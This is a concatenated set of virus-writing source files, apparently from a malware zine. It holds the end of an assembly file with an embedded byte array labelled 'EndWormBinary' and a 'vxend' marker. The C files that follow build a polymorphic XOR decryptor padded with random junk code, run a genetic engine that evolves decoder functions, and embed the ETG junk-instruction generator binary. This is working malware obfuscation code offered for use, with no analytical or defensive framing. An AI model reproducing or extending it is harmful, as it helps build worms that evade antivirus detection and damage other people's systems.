db 000h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h, 000h, 023h,
039h
db 076h, 039h, 040h, 03dh, 095h, 03dh, 000h, 020h, 000h, 000h, 018h, 000h, 000h,
000h
db 056h, 031h, 0abh, 031h, 033h, 032h, 0a7h, 032h, 0bfh, 032h, 025h, 034h, 04dh,
034h
db 000h, 000h, 000h, 030h, 000h, 000h, 0e8h, 000h, 000h, 000h, 0d2h, 032h, 0e2h,
032h
db 03eh, 033h, 053h, 033h, 07ch, 033h, 080h, 033h, 084h, 033h, 088h, 033h, 08ch,
033h
db 090h, 033h, 094h, 033h, 098h, 033h, 09fh, 033h, 0a9h, 033h, 0c0h, 033h, 0d7h,
033h
db 0eah, 033h, 003h, 034h, 025h, 034h, 033h, 034h, 040h, 034h, 0d3h, 034h, 0dch,
034h
db 0fch, 034h, 012h, 035h, 027h, 035h, 04eh, 035h, 063h, 035h, 073h, 035h, 083h,
035h
db 08ah, 035h, 0a5h, 035h, 0fbh, 035h, 00dh, 036h, 038h, 036h, 047h, 036h, 022h,
037h
db 03ch, 037h, 04ch, 037h, 053h, 037h, 05ch, 037h, 0a1h, 037h, 0b8h, 037h, 0bfh,
037h
db 0c8h, 037h, 0d7h, 037h, 00fh, 038h, 018h, 038h, 033h, 038h, 041h, 038h, 052h,
038h
db 067h, 038h, 087h, 038h, 097h, 038h, 0a7h, 038h, 0dch, 038h, 0e3h, 038h, 0f3h,
038h
db 006h, 039h, 014h, 039h, 01dh, 039h, 032h, 039h, 047h, 039h, 086h, 039h, 09bh,
039h
db 0a8h, 039h, 0b1h, 039h, 0cah, 039h, 0d3h, 039h, 0f6h, 039h, 004h, 03ah, 014h,
03ah
db 02ah, 03ah, 03fh, 03ah, 05ch, 03ah, 06dh, 03ah, 084h, 03ah, 08dh, 03ah, 0a7h,
03ah
db 0b5h, 03ah, 0deh, 03ah, 0f3h, 03ah, 001h, 03bh, 00dh, 03bh, 075h, 03bh, 0e9h,
03bh
db 00ah, 03ch, 065h, 03ch, 085h, 03ch, 08eh, 03ch, 09fh, 03ch, 0aeh, 03ch, 0beh,
03ch
db 0c5h, 03ch, 0d9h, 03ch, 0f7h, 03ch, 0feh, 03ch, 008h, 03dh, 011h, 03dh, 0c4h,
03dh
db 0f6h, 03dh, 010h, 03eh, 038h, 03eh, 043h, 03eh, 06bh, 03eh, 07ch, 03eh, 086h,
03eh
db 08eh, 03eh, 0d7h, 03eh, 0e0h, 03eh, 020h, 03fh, 000h, 000h, 000h, 040h, 000h,
000h
db 028h, 001h, 000h, 000h, 0ebh, 030h, 0f9h, 030h, 013h, 031h, 026h, 031h, 030h,
031h
db 03bh, 031h, 079h, 031h, 082h, 031h, 0a2h, 031h, 0b1h, 031h, 0bfh, 031h, 0d2h,
031h
db 0e6h, 031h, 0f3h, 031h, 024h, 032h, 02bh, 032h, 0a4h, 032h, 0abh, 032h, 0c2h,
032h
db 0cbh, 032h, 0f0h, 032h, 002h, 033h, 01eh, 033h, 036h, 033h, 045h, 033h, 056h,
033h
db 0cdh, 033h, 0d9h, 033h, 033h, 035h, 03ch, 035h, 042h, 035h, 049h, 035h, 054h,
035h
db 05bh, 035h, 060h, 035h, 068h, 035h, 06eh, 035h, 073h, 035h, 07ch, 035h, 082h,
035h
db 054h, 036h, 05dh, 036h, 063h, 036h, 06ah, 036h, 071h, 036h, 078h, 036h, 070h,
038h
db 077h, 038h, 084h, 038h, 094h, 038h, 099h, 038h, 0aah, 038h, 0c0h, 038h, 0ceh,
038h
db 0dbh, 038h, 0cch, 039h, 0fah, 039h, 02ch, 03ah, 031h, 03ah, 037h, 03ah, 040h,
03ah
db 047h, 03ah, 04eh, 03ah, 055h, 03ah, 05eh, 03ah, 063h, 03ah, 06ch, 03ah, 072h,
03ah
db 079h, 03ah, 084h, 03ah, 08ah, 03ah, 091h, 03ah, 098h, 03ah, 09fh, 03ah, 0a4h,
03ah
db 0a9h, 03ah, 0afh, 03ah, 0b5h, 03ah, 0bah, 03ah, 0bfh, 03ah, 0c5h, 03ah, 0cbh,

```
03ah
db 0d2h, 03ah, 0ddh, 03ah, 0e3h, 03ah, 0e9h, 03ah, 0f0h, 03ah, 0fbh, 03ah, 001h,
03bh
db 007h, 03bh, 00eh, 03bh, 019h, 03bh, 01fh, 03bh, 025h, 03bh, 02ch, 03bh, 037h,
03bh
db 03dh, 03bh, 043h, 03bh, 04ah, 03bh, 055h, 03bh, 05bh, 03bh, 061h, 03bh, 068h,
03bh
db 073h, 03bh, 079h, 03bh, 07fh, 03bh, 086h, 03bh, 091h, 03bh, 097h, 03bh, 09dh,
03bh
db 0a4h, 03bh, 0afh, 03bh, 0b5h, 03bh, 0bbh, 03bh, 0c2h, 03bh, 0cdh, 03bh, 0d3h,
03bh
db 0d9h, 03bh, 0e0h, 03bh, 0ebh, 03bh, 0f1h, 03bh, 0f7h, 03bh, 0feh, 03bh, 009h,
03ch
db 00fh, 03ch, 015h, 03ch, 01ch, 03ch, 023h, 03ch, 029h, 03ch, 02fh, 03ch, 036h,
03ch
db 03dh, 03ch, 043h, 03ch, 049h, 03ch, 04eh, 03ch, 053h, 03ch, 059h, 03ch, 05fh,
03ch
db 067h, 03ch, 07eh, 03ch, 089h, 03ch, 099h, 03ch, 0a4h, 03ch, 0b4h, 03ch, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
```

```
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h
EndWormBinary:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
vxend:
nop ;For moving the code for testing

end start
end


---------------------------------
---------------------------------
---------------------------------
---------------------------------

codegeneratorsmall.c
---------------------

#include "CodeGenerator.h"
#include "CodeGeneratorCommon.h"
#include "helpful.h"


unsigned char * GenerateSmallDecryptor(
unsigned char * BufferForDecryptor,
unsigned int    DecryptorSize,
unsigned int    CodeToDecryptVA,
unsigned int    CodeToDecryptSize,
unsigned int    Key)
{
    tOperation operation;
    tOperation * LoopNodes=(void*)0;
    int reg1=REAX;
    int reg2=REBX;
    unsigned int blocked=0;
    unsigned int index=0;
    unsigned int InitialTrashSize=0;
    unsigned int previndex=0;

    if(DecryptorSize<1024*20)
    {
```

```
        return (void*)0;
    }


    while((reg1=GenerateRandomNumberWithShortRange(0,7))==RESP);
    while
    (((reg2=GenerateRandomNumberWithShortRange(0,7))==reg1)||
    reg2==RESP);

    blocked = GetBlockedValue(reg1)|GetBlockedValue(reg2)|GetBlockedValue(RESP);

    InitialTrashSize = GenerateRandomNumberWithLargeRange(0,DecryptorSize/2-1);

    /*
    model:
    mov reg2,CodeToDecryptVA
    mov reg1,CodeToDecryptSize/4
LoopHere:
    xor [reg2],key
    add reg2,4
    dec reg1
    cmp reg1,0
    jne LoopHere

    */

#ifndef _DEBUG

if(!(index=GenerateOperation(OP_NOP,0,0,0,RESP,&BufferForDecryptor[index],Initia
lTrashSize)))
    {
        return 0;
    }
#else

index=GenerateOperation(OP_NOP,0,0,0,RESP,&BufferForDecryptor[index],InitialTras
hSize);
#endif

    previndex=index;

index+=GenerateOperation(OP_MOV,REGIMM,reg2,CodeToDecryptVA,blocked,&BufferForDe
cryptor[index],((DecryptorSize-InitialTrashSize)/3)-(SECURE_MOV_SIZE+SECURE_XOR_
SIZE+SECURE_SUB_SIZE+SECURE_CMP_SIZE+10));
    if(previndex==index)
    {
        return 0;
    }

    operation.blkregs=blocked;

operation.bytes=((DecryptorSize-InitialTrashSize)/3)-(SECURE_MOV_SIZE+SECURE_XOR
_SIZE+SECURE_SUB_SIZE+SECURE_CMP_SIZE+10);
    operation.op1=reg2;
    operation.op2=Key;
    operation.operation=OP_XOR;
    operation.srcdest=MEMIMM;
    operation.subloop=(void*)0;
    operation.subloopnode=0;
    operation.subnodeiterations=0;

    LoopNodes=AddOperation(LoopNodes,&operation);

    operation.blkregs=blocked;

operation.bytes=((DecryptorSize-InitialTrashSize)/3)-(SECURE_MOV_SIZE+SECURE_XOR
_SIZE+SECURE_SUB_SIZE+SECURE_CMP_SIZE+10);
    operation.op1=reg2;
```

```
    operation.op2=4;
    operation.operation=OP_ADD;
    operation.srcdest=REGIMM;
    operation.subloop=(void*)0;
    operation.subloopnode=0;
    operation.subnodeiterations=0;

    AddOperation(LoopNodes,&operation);

    previndex=index;
    index+=GenerateLoop(LoopNodes,
                reg1,
                REGIMM,
                (CodeToDecryptSize/4)+1,
                GetBlockedValue(reg2),
                &BufferForDecryptor[index]);

    if(previndex==index)
    {
        FreeOperations(LoopNodes);
        return 0;
    }

    previndex=index;

index+=GenerateOperation(OP_MOV,REGIMM,reg1,CodeToDecryptVA,blocked,&BufferForDe
cryptor[index],0xFFFFFFFF);
    if(previndex==index)
    {
        FreeOperations(LoopNodes);
        return 0;
    }

    BufferForDecryptor[index]=0xFF;
    index++;
    BufferForDecryptor[index]=0xE0+reg1;
    index++;

    FreeOperations(LoopNodes);
    return BufferForDecryptor;
}



---------------------------------
---------------------------------
---------------------------------
---------------------------------

disasm.h
--------

#ifndef __DISASM_H__
#define __DISASM_H__
////////////////////////////////////////////////////////
//////////////////mlde32! thx UndeX! :) ////////////////
////////////////////////////////////////////////////////
int __cdecl lde(void* x);////////////////////////////////
int __cdecl mlde32(void *codeptr);///////////////////////
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
#endif


---------------------------------
---------------------------------
---------------------------------
---------------------------------
```

engine.c

```
#include "helpful.h"
#include "apis.h"
#include "tree.h"
#include "engine.h"
#include "functionsgenerator.h"
#include "tree.h"
#include "configuration.h"

tFunction * GenerateDecoder(
unsigned char * encoded,
unsigned char * decoded,
unsigned int size)
{
    tFunction functions[MAX_FUNCS];
    tFunction * retFunc;
    unsigned int i = 0;
    unsigned int max_success=0;
    unsigned int failures=0;
    unsigned int dynamicMaxBest=MAX_BEST;
    unsigned int renews=0;

    if(!GenerateFunctionsArray(functions,MAX_FUNCS,MAX_DEPTH))
        return (void*)0;

    for(i=0;i<MAX_ATTEMPS;i++)
    {
        if(renews>=MAX_RENEWS)
        {
            FreeFunctionsArray(functions,MAX_FUNCS);
            if(!GenerateFunctionsArray(functions,MAX_FUNCS,MAX_DEPTH))
                return (void*)0;

            renews=0;
            failures=0;
            max_success=0;
        }

        EvaluateAndNBestLast(functions,MAX_FUNCS,encoded,decoded,size);

        if(functions[MAX_FUNCS-1].evaluation==size)
        {
            break;
        }

        if(functions[MAX_FUNCS-1].evaluation>max_success)
        {
            failures=0;
            renews=0;
            max_success = functions[MAX_FUNCS-1].evaluation;

            if(max_success == size)
                break;
        }
        else
        {
            failures++;
        }

        FreeFunctionsArray(functions,MAX_FUNCS-dynamicMaxBest);

        if(failures > MAX_FAILURES)
        {
            renews++;
            failures = 0;
```

```
            RenewFunctionsArray(&functions[MAX_FUNCS-dynamicMaxBest],
                                dynamicMaxBest,
                                MAX_DEPTH,
                                (dynamicMaxBest)/2);

            if(dynamicMaxBest)
            {
                if(!GenerateMutations(&functions[MAX_FUNCS-dynamicMaxBest],
                                      dynamicMaxBest,
                                      functions,
                                      MAX_FUNCS-dynamicMaxBest,
                                      MAX_DEPTH,
                                      MAX_DEPTH_NEW_BRANCHS))
                {
                    FreeFunctionsArray(functions,MAX_FUNCS);
                    return (void)0;
                }
            }
            else
            {
                if(!GenerateFunctionsArray(functions,MAX_FUNCS,MAX_DEPTH))
                    return (void*)0;
            }
            EvaluateAndNBestLast(functions,MAX_FUNCS,encoded,decoded,size);
            max_success = functions[MAX_FUNCS-1].evaluation;
        }

        if(dynamicMaxBest)
        {
            if(!GenerateMutations(&functions[MAX_FUNCS-dynamicMaxBest],
                                  dynamicMaxBest,
                                  functions,
                                  MAX_FUNCS-dynamicMaxBest,
                                  MAX_DEPTH,
                                  MAX_DEPTH_NEW_BRANCHS))
            {
                FreeFunctionsArray(functions,MAX_FUNCS);
                return (void)0;
            }
        }
        else
        {
            if(!GenerateFunctionsArray(functions,MAX_FUNCS,MAX_DEPTH))
                return (void*)0;
        }

    }

    EvaluateAndNBestLast(functions,MAX_FUNCS,encoded,decoded,size);
    retFunc = DuplicateFunction(&functions[MAX_FUNCS-1]);
    FreeFunctionsArray(functions,MAX_FUNCS);
    return retFunc;
}


--------------------------------
--------------------------------
--------------------------------
--------------------------------

engine.h
--------

#ifndef __ENGINE_H__
#define __ENGINE_H__

#include "tree.h"
```

```
/*
    This function will receive a array of bytes with encoded bytes
    and other one with decoded equivalent bytes. Both arrays have
    size bytes.

    The function try to generate other function able to decode each
    value in each position of encoded to each value in each equal
    position of decoded.

    decoded[i] = func(encoded[i],i);

    Parameters:

    encoded: array of encoded bytes.
    decoded: array of decoded bytes.
    size:    size of arrays in bytes.

    Returned Values:

    The function will return a function representating the
    function that will decode each value in each position of encoded
    to each value in each position of decoded.

    It will return (void*)0 if a error occured.

*/

tFunction * GenerateDecoder(
unsigned char * encoded,
unsigned char * decoded,
unsigned int size);


#endif


---------------------------------
---------------------------------
---------------------------------
---------------------------------

etg.c
-----

////////x///////x///////x///////x///////x///////x///////x///////x///////x////
// ETG 2.00 engine (Executable Trash Generator)
// 1140 byte(s)
// GENERATED FILE. DO NOT EDIT!
////////x///////x///////x///////x///////x///////x///////x///////x///////x////
unsigned char etg_bin[1140] = {
  0xC8,0x50,0x00,0x00,0x60,0x8B,0x7D,0x24,
  0xFC,0x81,0x65,0x10,0xEF,0x00,0x00,0x00,
  0x75,0x07,0xC7,0x45,0x10,0x01,0x00,0x00,
  0x00,0x81,0x65,0x14,0xEF,0x00,0x00,0x00,
  0x75,0x07,0xC7,0x45,0x14,0x01,0x00,0x00,
  0x00,0x81,0x65,0x0C,0xFF,0xFF,0x1F,0x00,
  0x75,0x07,0xC7,0x45,0x0C,0x40,0x00,0x00,
  0x00,0x8B,0xC7,0x2B,0x45,0x24,0x8B,0x4D,
  0x18,0x89,0x01,0x83,0xC0,0x10,0x3B,0x45,
  0x20,0x73,0x0C,0xFF,0x4D,0x1C,0x7C,0x07,
  0xE8,0x05,0x00,0x00,0x00,0xEB,0xE2,0x61,
  0xC9,0xC3,0xC7,0x45,0xFC,0x01,0x00,0x00,
  0x00,0xC7,0x45,0xF8,0x08,0x00,0x00,0x00,
  0xE8,0xE4,0x03,0x00,0x00,0x89,0x45,0xC8,
  0xC1,0xE0,0x03,0x89,0x45,0xC4,0xE8,0xD1,
  0x03,0x00,0x00,0x89,0x45,0xC0,0xC1,0xE0,
  0x03,0x89,0x45,0xBC,0x8B,0x45,0x14,0x23,
```

0x45,0x10,0xA9,0x0F,0x00,0x00,0x00,0x74,
0x13,0xB8,0x02,0x00,0x00,0x00,0xE8,0x93,
0x03,0x00,0x00,0x89,0x45,0xFC,0xC1,0xE0,
0x03,0x89,0x45,0xF8,0xB8,0x02,0x00,0x00,
0x00,0xE8,0x80,0x03,0x00,0x00,0x89,0x45,
0xDC,0xD1,0xE0,0x89,0x45,0xD8,0xC1,0xE0,
0x02,0x89,0x45,0xD4,0xB8,0x04,0x00,0x00,
0x00,0xE8,0x68,0x03,0x00,0x00,0xC1,0xE0,
0x03,0x89,0x45,0xD0,0xE8,0x70,0x03,0x00,
0x00,0xC1,0xE0,0x03,0x89,0x45,0xCC,0xE8,
0x70,0x03,0x00,0x00,0x89,0x45,0xF4,0xC1,
0xE0,0x03,0x89,0x45,0xE4,0xE8,0x62,0x03,
0x00,0x00,0x89,0x45,0xEC,0xE8,0x5F,0x03,
0x00,0x00,0x89,0x45,0xF0,0xC1,0xE0,0x03,
0x89,0x45,0xE0,0xE8,0x51,0x03,0x00,0x00,
0x89,0x45,0xE8,0xE8,0x4E,0x03,0x00,0x00,
0x89,0x45,0xB8,0xC1,0xE0,0x03,0x89,0x45,
0xB4,0xE8,0x40,0x03,0x00,0x00,0x89,0x45,
0xB0,0xB8,0x1F,0x00,0x00,0x00,0xE8,0x0B,
0x03,0x00,0x00,0x96,0x46,0x8B,0x55,0x0C,
0x8B,0x45,0xFC,0xD1,0xEA,0x73,0x0E,0x4E,
0x0F,0x84,0x27,0x01,0x00,0x00,0x4E,0x0F,
0x84,0x2D,0x01,0x00,0x00,0xD1,0xEA,0x73,
0x0E,0x4E,0x0F,0x84,0x2F,0x01,0x00,0x00,
0x4E,0x0F,0x84,0x36,0x01,0x00,0x00,0xD1,
0xEA,0x73,0x07,0x4E,0x0F,0x84,0x32,0x01,
0x00,0x00,0xD1,0xEA,0x73,0x07,0x4E,0x0F,
0x84,0x47,0x01,0x00,0x00,0xD1,0xEA,0x73,
0x07,0x4E,0x0F,0x84,0x41,0x01,0x00,0x00,
0xD1,0xEA,0x73,0x0E,0x4E,0x0F,0x84,0x44,
0x01,0x00,0x00,0x4E,0x0F,0x84,0x45,0x01,
0x00,0x00,0xD1,0xEA,0x73,0x0E,0x4E,0x0F,
0x84,0x42,0x01,0x00,0x00,0x4E,0x0F,0x84,
0x4C,0x01,0x00,0x00,0xD1,0xEA,0x73,0x0E,
0x4E,0x0F,0x84,0x59,0x01,0x00,0x00,0x4E,
0x0F,0x84,0x5F,0x01,0x00,0x00,0xD1,0xEA,
0x73,0x07,0x4E,0x0F,0x84,0x5E,0x01,0x00,
0x00,0xD1,0xEA,0x73,0x07,0x4E,0x0F,0x84,
0x60,0x01,0x00,0x00,0xD1,0xEA,0x73,0x07,
0x4E,0x0F,0x84,0x62,0x01,0x00,0x00,0xD1,
0xEA,0x73,0x0E,0x4E,0x0F,0x84,0x65,0x01,
0x00,0x00,0x4E,0x0F,0x84,0x6E,0x01,0x00,
0x00,0xD1,0xEA,0x73,0x0E,0x4E,0x0F,0x84,
0x70,0x01,0x00,0x00,0x4E,0x0F,0x84,0x79,
0x01,0x00,0x00,0xD1,0xEA,0x73,0x0E,0x4E,
0x0F,0x84,0x7F,0x01,0x00,0x00,0x4E,0x0F,
0x84,0x97,0x01,0x00,0x00,0xD1,0xEA,0x73,
0x07,0x4E,0x0F,0x84,0xA4,0x01,0x00,0x00,
0xD1,0xEA,0x73,0x07,0x4E,0x0F,0x84,0xA0,
0x01,0x00,0x00,0xD1,0xEA,0x73,0x07,0x4E,
0x0F,0x84,0xA3,0x01,0x00,0x00,0xD1,0xEA,
0x73,0x0E,0x4E,0x0F,0x84,0xA6,0x01,0x00,
0x00,0x4E,0x0F,0x84,0xB0,0x01,0x00,0x00,
0xD1,0xEA,0x73,0x07,0x4E,0x0F,0x84,0xB0,
0x01,0x00,0x00,0xD1,0xEA,0x73,0x0E,0x4E,
0x0F,0x84,0xB7,0x01,0x00,0x00,0x4E,0x0F,
0x84,0xB7,0x01,0x00,0x00,0xD1,0xEA,0x73,
0x07,0x4E,0x0F,0x84,0xB3,0x01,0x00,0x00,
0xE9,0xBC,0xFE,0xFF,0xFF,0x0C,0x88,0xAA,
0xB0,0xC0,0x0B,0x45,0xE4,0x0B,0x45,0xF0,
0xAA,0xC3,0x0C,0x8A,0xAA,0xB0,0xC0,0x0B,
0x45,0xE0,0x0B,0x45,0xF4,0xAA,0xC3,0xB0,
0xB0,0x0B,0x45,0xF8,0x0B,0x45,0xF0,0xAA,
0xE9,0x8D,0x01,0x00,0x00,0x0C,0xC6,0xAA,
0xB0,0xC0,0xEB,0xF0,0xB0,0x0F,0xAA,0xB0,
0xB6,0x0B,0x45,0xFC,0x0B,0x45,0xD4,0xAA,
0xB0,0xC0,0x0B,0x45,0xC4,0xEB,0xD3,0x0C,
0x86,0xAA,0xB0,0xC0,0x0B,0x45,0xE0,0x0B,

```
  0x45,0xE8,0xAA,0xC3,0x0C,0x86,0xAA,0xEB,
  0xF1,0xB0,0x8D,0xAA,0xB0,0x05,0x0B,0x45,
  0xC4,0xAA,0xE9,0x59,0x01,0x00,0x00,0x0C,
  0x00,0x0B,0x45,0xCC,0xAA,0xEB,0x99,0x0C,
  0x02,0x0B,0x45,0xCC,0xAA,0xEB,0x9E,0x0C,
  0x80,0xAA,0xB0,0xC0,0x0B,0x45,0xCC,0x0B,
  0x45,0xF0,0xAA,0xE9,0x32,0x01,0x00,0x00,
  0xF7,0x45,0x14,0x01,0x00,0x00,0x00,0x0F,
  0x84,0x2C,0xFE,0xFF,0xFF,0x0C,0x04,0x0B,
  0x45,0xCC,0xAA,0xE9,0x1A,0x01,0x00,0x00,
  0x0C,0xFE,0xAA,0xB0,0xC0,0x0B,0x45,0xD4,
  0xE9,0x60,0xFF,0xFF,0xFF,0xB0,0x40,0x0B,
  0x45,0xD4,0x0B,0x45,0xC8,0xAA,0xC3,0x0C,
  0xF6,0xAA,0xB0,0xD0,0x0B,0x45,0xD4,0xE9,
  0x49,0xFF,0xFF,0xFF,0x0C,0x84,0xAA,0xB0,
  0xC0,0x0B,0x45,0xB4,0x0B,0x45,0xB0,0xAA,
  0xC3,0x0C,0xF6,0xAA,0xB0,0xC0,0x0B,0x45,
  0xB8,0xAA,0xE9,0xDB,0x00,0x00,0x00,0xB0,
  0x0F,0xAA,0xB0,0xAF,0xAA,0xB0,0xC0,0x0B,
  0x45,0xC4,0x0B,0x45,0xC0,0xAA,0xC3,0xB0,
  0x69,0xAA,0xE8,0xEE,0xFF,0xFF,0xFF,0xE9,
  0xC4,0x00,0x00,0x00,0x0C,0xD0,0x0B,0x45,
  0xD8,0xAA,0xB0,0xC0,0x0B,0x45,0xCC,0x0B,
  0x45,0xF0,0xAA,0xC3,0x0C,0xC0,0xAA,0xB0,
  0xC0,0x0B,0x45,0xCC,0x0B,0x45,0xF0,0xAA,
  0xE9,0xAD,0x00,0x00,0x00,0xB0,0x0F,0xAA,
  0xB0,0xA4,0x0B,0x45,0xD4,0xAA,0xB0,0xC0,
  0xE8,0x05,0x00,0x00,0x00,0xE9,0x98,0x00,
  0x00,0x00,0xB0,0xC0,0x0B,0x45,0xBC,0x0B,
  0x45,0xC8,0xAA,0xC3,0xF7,0x45,0x10,0x02,
  0x00,0x00,0x00,0x0F,0x84,0x78,0xFD,0xFF,
  0xFF,0xB0,0x0F,0xAA,0xB0,0xA5,0x0B,0x45,
  0xD4,0xAA,0xEB,0xDE,0xB0,0x0F,0xAA,0xB0,
  0xC8,0xEB,0xDC,0xB0,0x0F,0xAA,0xB0,0xC0,
  0x0B,0x45,0xFC,0xAA,0xE9,0xE1,0xFE,0xFF,
  0xFF,0xB0,0x0F,0xAA,0xB0,0xBC,0x0B,0x45,
  0xDC,0xAA,0xE9,0x6E,0xFF,0xFF,0xFF,0xB0,
  0x0F,0xAA,0xB0,0xBA,0xAA,0xB0,0xE0,0x0B,
  0x45,0xD0,0x0B,0x45,0xC8,0xAA,0xEB,0x42,
  0xB0,0x0F,0xAA,0xB0,0xA3,0x0B,0x45,0xD0,
  0xAA,0xEB,0x9F,0x66,0xB8,0xEB,0x01,0x66,
  0xAB,0xB8,0x00,0x01,0x00,0x00,0xE8,0x33,
  0x00,0x00,0x00,0xAA,0xC3,0xB0,0x26,0x0B,
  0x45,0xD0,0xAA,0xC3,0xB0,0x64,0x0B,0x45,
  0xDC,0xAA,0xC3,0xB0,0xF2,0x0B,0x45,0xDC,
  0xAA,0xC3,0x83,0x7D,0xFC,0x00,0x74,0x0A,
  0xE8,0x00,0x00,0x00,0x00,0xE8,0x00,0x00,
  0x00,0x00,0xB8,0x00,0x01,0x00,0x00,0xE8,
  0x02,0x00,0x00,0x00,0xAA,0xC3,0x60,0x50,
  0xFF,0x75,0x08,0xFF,0x55,0x28,0x83,0xC4,
  0x08,0x89,0x44,0x24,0x1C,0x61,0x0B,0xC0,
  0xC3,0xB8,0x08,0x00,0x00,0x00,0xE8,0xE3,
  0xFF,0xFF,0xFF,0xC3,0x8B,0x55,0x10,0xEB,
  0x0D,0x8B,0x55,0x14,0xEB,0x08,0x8B,0x55,
  0x10,0x0B,0x55,0x14,0xEB,0x00,0xE8,0xDE,
  0xFF,0xFF,0xFF,0x8B,0xC8,0x83,0x7D,0xFC,
  0x00,0x75,0x03,0x83,0xE1,0x03,0x0F,0xA3,
  0xCA,0x73,0xEB,0xC3 };
////////x///////x///////x///////x///////x///////x///////x///////x///////x////


---------------------------------
---------------------------------
---------------------------------
---------------------------------

etg.h
```

```
-----


////////x///////x///////x///////x///////x///////x///////x///////x///////x////
// ETG 2.00 engine
////////x///////x///////x///////x///////x///////x///////x///////x///////x////

#ifndef __ETG_BIN_HPP__
#define __ETG_BIN_HPP__

#define ETG_MOVRR       0x00000001
#define ETG_MOVRC       0x00000002
#define ETG_MOVSXZX     0x00000004
#define ETG_XCHG        0x00000008
#define ETG_LEA         0x00000010
#define ETG_TTTRR       0x00000020
#define ETG_TTTRC       0x00000040
#define ETG_INCDEC      0x00000080
#define ETG_NOTNEG      0x00000100
#define ETG_TESTRR      0x00000200
#define ETG_TESTRC      0x00000400
#define ETG_IMUL        0x00000800
#define ETG_SHIFT       0x00001000
#define ETG_SHxD        0x00002000
#define ETG_BSWAP       0x00004000
#define ETG_XADD        0x00008000
#define ETG_BSx         0x00010000
#define ETG_BTx         0x00020000
#define ETG_JMPS        0x00040000
#define ETG_SEG         0x00080000
#define ETG_REP         0x00100000
#define ETG_ALL         0x001FFFFF
#define ETG_DEFAULT     ETG_TTTRC       // used if no cmds specified

